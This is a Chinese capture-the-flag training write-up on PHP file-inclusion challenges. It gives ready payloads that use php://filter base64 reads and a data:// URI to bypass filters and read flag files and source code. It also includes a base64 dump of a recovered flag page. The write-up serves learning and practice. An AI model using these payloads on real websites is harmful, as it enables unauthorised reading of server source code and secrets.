7月31日CTF文件漏洞训练

题记
今天主要是文件上传及下载,高难度第三题

一、文件包含

题目:
7月31日CTF文件漏洞训练_第1张图片思路:
文件包含,右键源代码,利用data、filte等伪协议传参

步骤一:发现注入点

右键源代码发现php链接
7月31日CTF文件漏洞训练_第2张图片新页面点击后快速结束,需要抓包
7月31日CTF文件漏洞训练_第3张图片7月31日CTF文件漏洞训练_第4张图片

步骤二:伪协议

分析上述代码发现传参file,同时屏蔽了tp、input、data等协议。同时增加了一个flag.php(直接打开可不行)
本页面上编辑伪协议

file=php://filter/read=convert.base64-encode/resource=flag.php

7月31日CTF文件漏洞训练_第5张图片 base64解码:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7eW91X2ZpbmRfbWUzMyF9JzsKICAgICAgICAgICAgICAgICRzZWNyZXQgPSAnZGRkZGRkZCcKICAgICAgICAgICAgPz4KICAgICAgICA8L3A+CiAgICA8L2JvZHk+Cgo8L2h0bWw+Cg==

二、文件包含

题目:
7月31日CTF文件漏洞训练_第6张图片思路:
文件包含

步骤一:代码查看

首先是config.zip网址后缀加上即可下载,(=.=我还傻傻的用文件包含把这个的base64编码导出再转hex还错了)
7月31日CTF文件漏洞训练_第7张图片打开这个php,发现(毫无用处)
7月31日CTF文件漏洞训练_第8张图片
然后,返回首页,根据题目代码查看发现以下代码

if (preg_match('/flag/i', $text) || preg_match('/flag/i', $file)) {
    die('Not flag!');
//很明显,preg_match使flag的大小写均被ban掉
if(isset($text)&&(file_get_contents($text,'r')==="I wanna the flag")){
//本句表示要从text文件读取出I wanna the flag
    echo "

".file_get_contents($text,'r')."


"; include($file);

因此,可以设想,首先确保text的传入为I wanna the flag(使用base64编码),其次确保file等于c0nf111g.php(因为直接打开没有用,想要通过伪协议查看源代码)
构造:

text=data://text/plain;base64,SSB3YW5uYSB0aGUgZmxhZw==&file=php://filter/read=convert.base64-encode/resource=c0nf111g.php

在这里插入图片描述

步骤二:代码二次查看

上一步出现了喜闻乐见的base64编码,然后解码后得到以下内容

"; 
include @$_GET['1chunq1u'];
//   /fl444444ag  
?>

代码分析阶段,首先是

给我的感觉是通过判断session确保name不能为guest,但是结合上下文的if判断条件得出,只是确保name有数,即如果有name输入就直接用name数值,如果没有就使用session=guest作为name。
接下来,代码分析:

 if (preg_match('/flag/i', @$_GET['1chunq1u']))
 {
 die('Not flag!'); 
 }  
echo "welcome! ".$_SESSION['name']."
"; include @$_GET['1chunq1u']; // /fl444444ag ?>

一是老套的flag不可用(其实就是用不上),然后1chunq1u是文件包含,也就是我们需要求的,提示是/fl444444ag(一定注意有/)
构造:

?1chunq1u=php://filter/read=convert.base64-encode/resource=/fl444444ag

别忘啦,base64解码
在这里插入图片描述

你可能感兴趣的:(笔记)